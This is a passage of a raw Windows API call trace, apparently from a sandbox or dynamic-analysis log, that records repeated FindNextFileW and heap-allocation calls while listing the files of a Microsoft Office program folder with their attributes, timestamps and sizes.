cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.INF", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd78b00, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dd78b00, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x1aad, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCOL11.PPD", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccb6a00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa1ff9760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ccb6a00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_en.dub", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21901e00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dc8680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x21901e00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_es.dub", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2dc400, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa3e79140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1f2dc400, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7cm_fr.dub", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.323] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d49a00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa22a7020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x57d49a00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7en.dll", cAlternateFileName="")) returned 1 [0069.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4474ff00, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6da2520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4474ff00, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7es.dll", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efba800, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa4c02e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5efba800, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x75398, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7fr.dll", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfc9700, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dfc9700, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_en.dub", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c14b00, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22c14b00, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_es.dub", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x13e9f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7es.kic", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7fr.kic", cAlternateFileName="")) returned 1 [0069.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.324] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c57810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x3567a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7ge.kic", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35678300, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35678300, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0069.325] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, 